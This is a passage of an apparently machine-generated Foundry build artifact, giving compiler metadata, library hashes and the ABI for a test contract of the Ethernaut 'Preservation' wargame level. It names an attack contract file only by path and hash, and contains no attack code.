b:/ipfs/QmY7FRaULwoGgFteF8GawjQJRfasNgpWnU2aiMsFrYpuTC\"]},\"lib/forge-std/src/StdStorage.sol\":{\"keccak256\":\"0x651d84d948832f0ef45686417aa68ffb871378fa788a4123dbf37844903c66f3\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ff20f5ac9de3dc3ba86b1bf1f2723174e82ce3499ad67cb0ccfa7d28baeee678\",\"dweb:/ipfs/QmRZkUFKz7AmF7yk6o317sk822HHhGVPXZQgX8G4LfYfft\"]},\"lib/forge-std/src/StdStyle.sol\":{\"keccak256\":\"0x43e2a8a9b9c2574dabe74f11adf6f782df218f463540e3b5b563609fe108597d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://51363ca97404cf4128e1141428949768c31929e75e014b02c85e887fbbb4f1b8\",\"dweb:/ipfs/QmVhtbQc2fU4rRmbcfBtz34mAgG4BAZBsbna1Ca4SkoPsK\"]},\"lib/forge-std/src/StdToml.sol\":{\"keccak256\":\"0xc8a57915ace96f5b6a85b57e57690fc038cad9034a3dc368c11828a3707c61ab\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://fa880a1a6e5d94005dcf4811b4c0df8d9c06407017ae111bd351483e2b76a72d\",\"dweb:/ipfs/QmcxkEE58gE1vDcZofTr8QpvdjXjgR72yYg7o4vTPSLCsy\"]},\"lib/forge-std/src/StdUtils.sol\":{\"keccak256\":\"0x502b18a4becda6ecd91fa8b419d8034946bfa80e6cc7f6497f51f8565bfadae0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bf499ee483a1dfd02023d4ce78ed4029a49794ccd5b849aaab912faea0d2ba61\",\"dweb:/ipfs/QmP6hwNZW7sYbQK9fBzuZWxfLm6Swx2nKzvZ54qWNqQkzX\"]},\"lib/forge-std/src/Test.sol\":{\"keccak256\":\"0x3b4bb409a156dee9ce261458117fe9f81080ca844a8a26c07c857c46d155effe\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5792c69fe24bdc063a14e08fe68275007fdb1e5e7e343840a77938cb7e95a64e\",\"dweb:/ipfs/QmcAMhaurUwzhytJFYix4vRNeZeV8g27b8LnV3t7dvYtiK\"]},\"lib/forge-std/src/Vm.sol\":{\"keccak256\":\"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f\",\"license\":\"MIT OR Apache-2.0\",\"urls\":[\"bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59\",\"dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT\"]},\"lib/forge-std/src/console.sol\":{\"keccak256\":\"0x91d5413c2434ca58fd278b6e1e79fd98d10c83931cc2596a6038eee4daeb34ba\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://91ccea707361e48b9b7a161fe81f496b9932bc471e9c4e4e1e9c283f2453cc70\",\"dweb:/ipfs/QmcB66sZhQ6Kz7MUHcLE78YXRUZxoZnnxZjN6yATsbB2ec\"]},\"lib/forge-std/src/console2.sol\":{\"keccak256\":\"0x954646445d1014c3cd85c7918f5e7adeeca5ee44b68c00bafa237e597a4e35ea\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://516fa3be52da4763147175bfba4be0aa011fadbb0c1afb01f97265bd4cee7973\",\"dweb:/ipfs/QmdixAyMJefx7qePChgdxcBH5MxhmN7vsqPuPLx3CgrVmF\"]},\"lib/forge-std/src/interfaces/IERC165.sol\":{\"keccak256\":\"0x414b2861b1acbf816ccb7346d3f16cf6c1e002e9e5e40d2f1f26fa5ddc2ea600\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://698352fb240868ea8f1d1fe389993035eeab930f10d06934f80ccfb2b6ccbfbc\",\"dweb:/ipfs/QmT6WLHAgXxFhh12kWym895oTzXid1326iZiwT3pyfggoT\"]},\"lib/forge-std/src/interfaces/IERC20.sol\":{\"keccak256\":\"0x4cab887298790f908c27de107e4e2907ca5413aee482ef776f8d2f353c5ef947\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bb715e0c4a2bdbe432bb624501506041f06e878e0b72675aebba30ad2c2b72e7\",\"dweb:/ipfs/QmWhhLSvkxS2NrukJJHqFY8gDVE5r9rD4PfHvR24pwdKv9\"]},\"lib/forge-std/src/interfaces/IERC721.sol\":{\"keccak256\":\"0xf069262a264fdb69f8f37a10d2df7374649e9ba73f8414c9c8a3b51184625f15\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://924a41ca82a68ffbd503a5faf2f76d13e9938f10501a71094716f12bb64b4b7f\",\"dweb:/ipfs/QmdWnqfKc5ZGhmxNPTde4zrFchnv9Yk9MpCMb2rdhXE5gm\"]},\"lib/forge-std/src/interfaces/IMulticall3.sol\":{\"keccak256\":\"0x7aac1389150499a922d1f9ef5749c908cef127cb2075b92fa17e9cb611263d0a\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://d95ebb7c7c463e08ebc12dab639945752fb2480acfc6e86da32f72732a7fd0c0\",\"dweb:/ipfs/QmNXK8P8oPWwajsQHvAHw3JPyQidPLCGQN3hWu1Lk6PBL2\"]},\"lib/forge-std/src/mocks/MockERC20.sol\":{\"keccak256\":\"0xadbdfc6639edec00ba94bb1133a0fd8de31ccafe45c2ef5df9b3ca61b60b559b\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bc766f01bccf669abac8cc7b2096cc1352a66471ca3772ae61b1801dedc4ed4f\",\"dweb:/ipfs/QmNigaPj1LYkP7Z5xr4ijkUxr2K66fDGeoifG3WoM9ruyw\"]},\"lib/forge-std/src/mocks/MockERC721.sol\":{\"keccak256\":\"0x3293dcbb7acd28df553c954e4e39e288bf10aab7ecda8d50ef21b4f4a91a28d9\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://9eb374daf6df34f4392f8926f1fddbce9f22c423066aeaefdfbe77395f77967b\",\"dweb:/ipfs/QmWR81zBJRX2uyRjveGzikYPj6ZwKppWsU49YEQXTLWUsN\"]},\"lib/forge-std/src/safeconsole.sol\":{\"keccak256\":\"0xbaf41fdc6c54297e7cd8250e48b0f20eaac918e342a1028cef3f9a52ac086381\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a500ad81dea226f9910e6b50f99a9ff930105e393a692cbfb2185e4cdb4424ae\",\"dweb:/ipfs/QmVbUQpXNMmMWRiy4FvBNczzq46BMGfUoBikvSHNiCxVTq\"]},\"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol\":{\"keccak256\":\"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2\",\"dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y\"]},\"lib/openzeppelin-contracts-08/contracts/interfaces/draft-IERC1822.sol\":{\"keccak256\":\"0x1d4afe6cb24200cc4545eed814ecf5847277dfe5d613a1707aad5fceecebcfff\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://383fb7b8181016ac5ccf07bc9cdb7c1b5045ea36e2cc4df52bcbf20396fc7688\",\"dweb:/ipfs/QmYJ7Cg4WmE3rR8KGQxjUCXFfTH6TcwZ2Z1f6tPrq7jHFr\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Proxy.sol\":{\"keccak256\":\"0xa2b22da3032e50b55f95ec1d13336102d675f341167aa76db571ef7f8bb7975d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://96b6d77a20bebd4eb06b801d3d020c7e82be13bd535cb0d0a6b7181c51dab5d5\",\"dweb:/ipfs/QmPUR9Cv9jNFdQX6PtBfaBW1ZCnKwiu65R2VD5kbdanDyn\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Upgrade.sol\":{\"keccak256\":\"0xabf3f59bc0e5423eae45e459dbe92e7052c6983628d39008590edc852a62f94a\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://89c2a0f70157c13845be5cb49b078a6374fee3a78fa950052a3af26190255da8\",\"dweb:/ipfs/QmUcvMEQH1oMM2pUyMuDiBUKdvvnTz1NRB8bmPHrVq8725\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol\":{\"keccak256\":\"0xc130fe33f1b2132158531a87734153293f6d07bc263ff4ac90e85da9c82c0e27\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8831721b6f4cc26534d190f9f1631c3f59c9ff38efdd911f85e0882b8e360472\",\"dweb:/ipfs/QmQZnLErZNStirSQ13ZNWQgvEYUtGE5tXYwn4QUPaVUfPN\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/beacon/IBeacon.sol\":{\"keccak256\":\"0xd50a3421ac379ccb1be435fa646d66a65c986b4924f0849839f08692f39dde61\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ada1e030c0231db8d143b44ce92b4d1158eedb087880cad6d8cc7bd7ebe7b354\",\"dweb:/ipfs/QmWZ2NHZweRpz1U9GF6R1h65ri76dnX7fNxLBeM2t5N5Ce\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/transparent/TransparentUpgradeableProxy.sol\":{\"keccak256\":\"0xa6a787e7a901af6511e19aa53e1a00352db215a011d2c7a438d0582dd5da76f9\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a6c4477d480bac20d681ade0e712b77ad828acf530a1d5c0abc5fb78068a05a1\",\"dweb:/ipfs/QmdBqsK8CcUceTeWzhHwFDEvKMoHimwtV96Lbim7ZBtCb8\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Address.sol\":{\"keccak256\":\"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487\",\"dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Context.sol\":{\"keccak256\":\"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92\",\"dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3\"]},\"lib/openzeppelin-contracts-08/contracts/utils/StorageSlot.sol\":{\"keccak256\":\"0xd5c50c54bf02740ebd122ff06832546cb5fa84486d52695a9ccfd11666e0c81d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://39e096c60a6eb1c6a257122d515496bd92d0c6a693a8f07acb6aa4b1263e95d4\",\"dweb:/ipfs/QmPs5trJBacCiSkezP6tpevapuRYWNY6mqSFzsMCJj7e6B\"]},\"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol\":{\"keccak256\":\"0x89be10e757d242e9b18d5a32c9fbe2019f6d63052bbe46397a430a1d60d7f794\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f103ee2e4aecd37aac6ceefe670709cdd7613dee25fa2d4d9feaf7fc0aaa155e\",\"dweb:/ipfs/QmRiNZLoJk5k3HPMYGPGjZFd2ke1ZxjhJZkM45Ec9GH9hv\"]},\"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol\":{\"keccak256\":\"0x9c80f545915582e63fe206c6ce27cbe85a86fc10b9cd2a0e8c9488fb7c2ee422\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://310136ad60820af4177a11a61d77a3686faf5fca4942b600e08fc940db38396b\",\"dweb:/ipfs/QmbCzMNSTL7Zi7M4UCSqBrkHtp4jjxUnGbkneCZKdR1qeq\"]},\"src/Ethernaut.sol\":{\"keccak256\":\"0x01f9997fd51455eaa7b174c8386c934f7ea7354f173cd9187ed32685432654d0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8d19eb22c9dc3f1d3766107d3edfbaedd96440668048479d7b207a359655e0e2\",\"dweb:/ipfs/QmNjBSmd4qYyq2oAz7htXgTVzTVfLV24mv66J1Muz5i67v\"]},\"src/attacks/PreservationAttack.sol\":{\"keccak256\":\"0xd2ad21c22b3e3a02e6ef7f93213199a81a96c7da54a3d025bc5b33600c3c7fb7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ffef02aca04b6443de8dfe36fd9bc878720099110924ede882076c575e5e43b6\",\"dweb:/ipfs/QmNjesfw9obz1ZhSbch82HRe2hCeQcBV5E5wPRFjXKsW4M\"]},\"src/levels/Preservation.sol\":{\"keccak256\":\"0x2c5c3c5d976eceb60f5d53aa61ab5daa76a4695ed817e27824e93c42e82baac7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://0feb7aa8f39515213a5524a48ff38a61b36a5ad492ace6a1a48a8307dbdcfd67\",\"dweb:/ipfs/QmX316NuK3oYEAUdpyUnNHiztZs2SBJKjvRFkwSEo3tsZb\"]},\"src/levels/PreservationFactory.sol\":{\"keccak256\":\"0x09cf5592ff0589796ae9b1bc154a538001e010a4b5e68f52b11626e6c231fe44\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://808c0f881e362c9ff0620092cbc68a49ab505de7d1ddd34586362b95e32c7bc8\",\"dweb:/ipfs/QmRa2NiS2ATDM18EbD6mEtSggZrtZk24rJ7J3EmYSkAR2K\"]},\"src/levels/base/Level.sol\":{\"keccak256\":\"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd\",\"dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA\"]},\"src/metrics/Statistics.sol\":{\"keccak256\":\"0x5484f46a7d8eaf3af521657b6622e28e4830bf62bbc8b7d43524461d4f6d3aca\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bb81e25a880f2fdb59a6950bac19dc3ebc9aaddafed613ee4c43a5e630ea36b5\",\"dweb:/ipfs/QmXXTsXhMFBS9KtbqonTnSyRpiYtyMpS5EpJnCRU5EoUUf\"]},\"src/proxy/ProxyStats.sol\":{\"keccak256\":\"0x2f7e0594da4e2eac4d49b83ec2bb702e01ae9c3efab2cb5fd56efc8793d109be\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://9d16c8ba4af0a29e260df788252370b5e64c3d35691542164d2c084745ee55a2\",\"dweb:/ipfs/QmXD8kxy5UAWSeawQGEzeXFFpZEDSTyrQT51YmHYg27AgS\"]},\"test/levels/Preservation.t.sol\":{\"keccak256\":\"0xaa213bfdfb0b69fb1b960a8b8b0679e5eb97a4eb005776a20d1ccadf61f7a675\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://9a5888b22667cf65dfaaf170c647c5944665526f1e534b4d7d062f07e53fff06\",\"dweb:/ipfs/QmWZfkYPWWRTT6ETDpWaTbBfVcTrBb9xhjbQda3FzRyVa6\"]},\"test/utils/Utils.sol\":{\"keccak256\":\"0x4692fd15f85d17daf46d58fc58215e61ff0cc51ffe789605d2e9e56bdbfc8307\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://2d610d54bfcb2a7907d01c086804a8f1c5834041683bc3123d2aa1a32d785998\",\"dweb:/ipfs/QmTMPYbzgh5Fa1gYhn6XtvAe8FtPQJt7cXxsxmbggquE97\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"string","name":"","type":"string","indexed":false}],"type":"event","name":"log","anonymous":false},{"inputs":[{"internalType":"address","name":"","type":"address","indexed":false}],"type":"event","name":"log_address","anonymous":false},{"inputs":[{"internalType":"uint256[]","name":"val","type":"uint256[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"int256[]","name":"val","type":"int256[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"address[]","name":"val","type":"address[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"bytes","name":"","type":"bytes","indexed":false}],"type":"event","name":"log_bytes","anonymous":false},{"inputs":[{"internalType":"bytes32","name":"","type":"bytes32","indexed":false}],"type":"event","name":"log_bytes32","anonymous":false},{"inputs":[{"internalType":"int256","name":"","type":"int256","indexed":false}],"type":"event","name":"log_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"address","name":"val","type":"address","indexed":false}],"type":"event","name":"log_named_address","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256[]","name":"val","type":"uint256[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256[]","name":"val","type":"int256[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"address[]","name":"val","type":"address[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"bytes","name":"val","type":"bytes","indexed":false}],"type":"event","name":"log_named_bytes","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"bytes32","name":"val","type":"bytes32","indexed":false}],"type":"event","name":"log_named_bytes32","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256","name":"val","type":"int256","indexed":false},{"internalType":"uint256","name":"decimals","type":"uint256","indexed":false}],"type":"event","name":"log_named_decimal_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256","name":"val","type":"uint256","indexed":false},{"internalType":"uint256","name":"decimals","type":"uint256","indexed":false}],"type":"event","name":"log_named_decimal_uint","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256","name":"val","type":"int256","indexed":false}],"type":"event","name":"log_named_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"string","name":"val","type":"string","indexed":false}],"type":"event","name":"log_named_string","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256","name":"val","type":"uint256","indexed":false}],"type":"event","name":"log_named_uint","anonymous":false},{"inputs":[{"internalType":"string","name":"","type":"string","indexed":false}],"type":"event","name":"log_string","anonymous":false},{"inputs":[{"internalType":"uint256","name":"","type":"uint256","indexed":false}],"type":"event","name":"log_uint","anonymous":false},{"inputs":[{"internalType":"bytes","name":"","type":"bytes","indexed":false}],"type":"event","name":"logs","anonymous":false},{"inputs":[],"stateMutability":"view","type":"function","name":"IS_TEST","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"contract Ethernaut","name":"ethernaut","type":"address"},{"internalType":"contract Level","name":"level","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"createLevelInstance","outputs":[{"internalType":"address","name":"instance","type":"address"}]},{"inputs":[{"internalType":"uint256","name":"userNum","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"createUsers","outputs":[{"internalType":"address payable[]","name":"","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeArtifacts","outputs":[{"internalType":"string[]","name":"excludedArtifacts_","type":"string[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeContracts","outputs":[{"internalType":"address[]","name":"excludedContracts_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeSenders","outputs":[{"internalType":"address[]","name":"excludedSenders_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"failed","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"getEthernautWithStatsProxy","outputs":[{"internalType":"contract Ethernaut","name":"","type":"address"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"getNextUserAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}]},{"inputs":[{"internalType":"string","name":"contractName","type":"string"}],"stateMutability":"nonpayable","type":"function","name":"getOldFactory","outputs":[{"internalType":"address","name":"addr","type":"address"}]},{"inputs":[{"internalType":"uint256","name":"numBlocks","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"mineBlocks"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"setUp"},{"inputs":[{"internalType":"contract Ethernaut","name":"ethernaut","type":"address"},{"internalType":"address","name":"instance","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"submitLevelInstance","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetArtifactSelectors","outputs":[{"internalType":"struct StdInvariant.FuzzSelector[]","name":"targetedArtifactSelectors_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bytes4[]","name":"selectors","type":"bytes4[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetArtifacts","outputs":[{"internalType":"string[]","name":"targetedArtifacts_","type":"string[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetContracts","outputs":[{"internalType":"address[]","name":"targetedContracts_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetInterfaces","outputs":[{"internalType":"struct StdInvariant.FuzzInterface[]","name":"targetedInterfaces_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"string[]","name":"artifacts","type":"string[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetSelectors","outputs":[{"internalType":"struct StdInvariant.FuzzSelector[]","name":"targetedSelectors_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bytes4[]","name":"selectors","type":"bytes4[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetSenders","outputs":[{"internalType":"address[]","name":"targetedSenders_","type":"address[]"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"testInit"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"testSolve"}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{"testInit()":{"notice":"Check the intial state of the level and enviroment."},"testSolve()":{"notice":"Test the solution for the level."}},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"test/levels/Preservation.t.sol":"TestPreservation"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/forge-std/src/Base.sol":{"keccak256":"0x4ff1a785311017d1eedb1b4737956fa383067ad34eb439abfec1d989754dde1c","urls":["bzz-raw://f553622969b9fdb930246704a4c10dfaee6b1a4468c142fa7eb9dc292a438224","dweb:/ipfs/QmcxqHnqdQsMVtgsfH9VNLmZ3g7GhgNagfq7yvNCDcCHFK"],"license":"MIT"},"lib/forge-std/src/StdAssertions.sol":{"keccak256":"0xf513292ab066e6017db48ca749c1e63a44dfc5cba0326fc65c718f96e029d361","urls":["bzz-raw://02d715ae2898f1fabd08133f80e6a7a3b87a2796ca5d23d1cb3fed9f4367f34c","dweb:/ipfs/QmfESqa4j3PQAvvdfrnDQ1xUH1TnVCfvZYHsAEDK8z4X4k"],"license":"MIT"},"lib/forge-std/src/StdChains.sol":{"keccak256":"0x9cc29c28f49d0b7f7b2f1aa32d8273f8a087bf62eb3fb22d893df824052c25ef","urls":["bzz-raw://42dcb36cb10b878a0d5b20ce3a4a3ba4f51f44d7731a66ac1133c699bc80b31b","dweb:/ipfs/QmY6q7SaHQMLBb3rS6xZdArPaXoskWeqF6oJwUeZ3gKLZj"],"license":"MIT"},"lib/forge-std/src/StdCheats.sol":{"keccak256":"0xb72f3519e0bf7d31df5d68557525f4fc55d861c3fb3b0f7793144ef7c94cbeb7","urls":["bzz-raw://f3456d0f78e6f61203fa7871ba2df0d35925f10db3baee14be623ce2a35b84e2","dweb:/ipfs/QmWE6QQSBvJifHMraisBTrf1x4WCwrDoTPLX8UKajTiApc"],"license":"MIT"},"lib/forge-std/src/StdError.sol":{"keccak256":"0xbf477b11a42d7611696956546bcfaa29317d1166bf65e402344599c05943fc77","urls":["bzz-raw://bc2e117d1135e030862b96a6526a43feb38d396cc79857f1fb696d4eff0e5fd6","dweb:/ipfs/QmdSuQ5RrQudTLsNmWXGEeVJX8gR5U9XPm6m4dwwuQnJrj"],"license":"MIT"},"lib/forge-std/src/StdInvariant.sol":{"keccak256":"0x67299bfacd77fddfa2a67b8e2b901e0e333618a4975fb94850b07475e51f6de6","urls":["bzz-raw://1b61121d310f4053ce344b345b4a9ccf43b059daf9097ec2647f594beaca896d","dweb:/ipfs/QmZUCoTtXBM9zfAZVbj2dFPPnKaV1CSZzXE7zictyg3Gfz"],"license":"MIT"},"lib/forge-std/src/StdJson.sol":{"keccak256":"0x62bed173cb126f6d5006706cf249bac8a2d51bfa18f773f314784ff18adc622d","urls":["bzz-raw://5acc33dddbf2492e37dc32e89cd56ce917272d303a6874805f3a5768a6bfbf54","dweb:/ipfs/QmTsgFhcpUf16gAVazUXU3WspgX8nHke2hzVCvoqS25WEp"],"license":"MIT"},"lib/forge-std/src/StdMath.sol":{"keccak256":"0xd90ad4fd8aeaeb8929964e686e769fdedd5eded3fc3815df194a0ab9f91a3fb2","urls":["bzz-raw://7919b70f636c7b805223992f28ad1ad0145d6c1385b5931a3589aface5fe6c92","dweb:/ipfs/QmY7FRaULwoGgFteF8GawjQJRfasNgpWnU2aiMsFrYpuTC"],"license":"MIT"},"lib/forge-std/src/StdStorage.sol":{"keccak256":"0x651d84d948832f0ef45686417aa68ffb871378fa788a4123dbf37844903c66f3","urls":["bzz-raw://ff20f5ac9de3dc3ba86b1bf1f2723174e82ce3499ad67cb0ccfa7d28baeee678","dweb:/ipfs/QmRZkUFKz7AmF7yk6o317sk822HHhGVPXZQgX8G4LfYfft"],"license":"MIT"},"lib/forge-std/src/StdStyle.sol":{"keccak256":"0x43e2a8a9b9c2574dabe74f11adf6f782df218f463540e3b5b563609fe108597d","urls":["bzz-raw://51363ca97404cf4128e1141428949768c31929e75e014b02c85e887fbbb4f1b8","dweb:/ipfs/QmVhtbQc2fU4rRmbcfBtz34mAgG4BAZBsbna1Ca4SkoPsK"],"license":"MIT"},"lib/forge-std/src/StdToml.sol":{"keccak256":"0xc8a57915ace96f5b6a85b57e57690fc038cad9034a3dc368c11828a3707c61ab","urls":["bzz-raw://fa880a1a6e5d94005dcf4811b4c0df8d9c06407017ae111bd351483e2b76a72d","dweb:/ipfs/QmcxkEE58gE1vDcZofTr8QpvdjXjgR72yYg7o4vTPSLCsy"],"license":"MIT"},"lib/forge-std/src/StdUtils.sol":{"keccak256":"0x502b18a4becda6ecd91fa8b419d8034946bfa80e6cc7f6497f51f8565bfadae0","urls":["bzz-raw://bf499ee483a1dfd02023d4ce78ed4029a49794ccd5b849aaab912faea0d2ba61","dweb:/ipfs/QmP6hwNZW7sYbQK9fBzuZWxfLm6Swx2nKzvZ54qWNqQkzX"],"license":"MIT"},"lib/forge-std/src/Test.sol":{"keccak256":"0x3b4bb409a156dee9ce261458117fe9f81080ca844a8a26c07c857c46d155effe","urls":["bzz-raw://5792c69fe24bdc063a14e08fe68275007fdb1e5e7e343840a77938cb7e95a64e","dweb:/ipfs/QmcAMhaurUwzhytJFYix4vRNeZeV8g27b8LnV3t7dvYtiK"],"license":"MIT"},"lib/forge-std/src/Vm.sol":{"keccak256":"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f","urls":["bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59","dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT"],"license":"MIT OR Apache-2.0"},"lib/forge-std/src/console.sol":{"keccak256":"0x91d5413c2434ca58fd278b6e1e79fd98d10c83931cc2596a6038eee4daeb34ba","urls":["bzz-raw://91ccea707361e48b9b7a161fe81f496b9932bc471e9c4e4e1e9c283f2453cc70","dweb:/ipfs/QmcB66sZhQ6Kz7MUHcLE78YXRUZxoZnnxZjN6yATsbB2ec"],"license":"MIT"},"lib/forge-std/src/console2.sol":{"keccak256":"0x954646445d1014c3cd85c7918f5e7adeeca5ee44b68c00bafa237e597a4e35ea","urls":["bzz-raw://516fa3be52da4763147175bfba4be0aa011fadbb0c1afb01f97265bd4cee7973","dweb:/ipfs/QmdixAyMJefx7qePChgdxcBH5MxhmN7vsqPuPLx3CgrVmF"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC165.sol":{"keccak256":"0x414b2861b1acbf816ccb7346d3f16cf6c1e002e9e5e40d2f1f26fa5ddc2ea600","urls":["bzz-raw://698352fb240868ea8f1d1fe389993035eeab930f10d06934f80ccfb2b6ccbfbc","dweb:/ipfs/QmT6WLHAgXxFh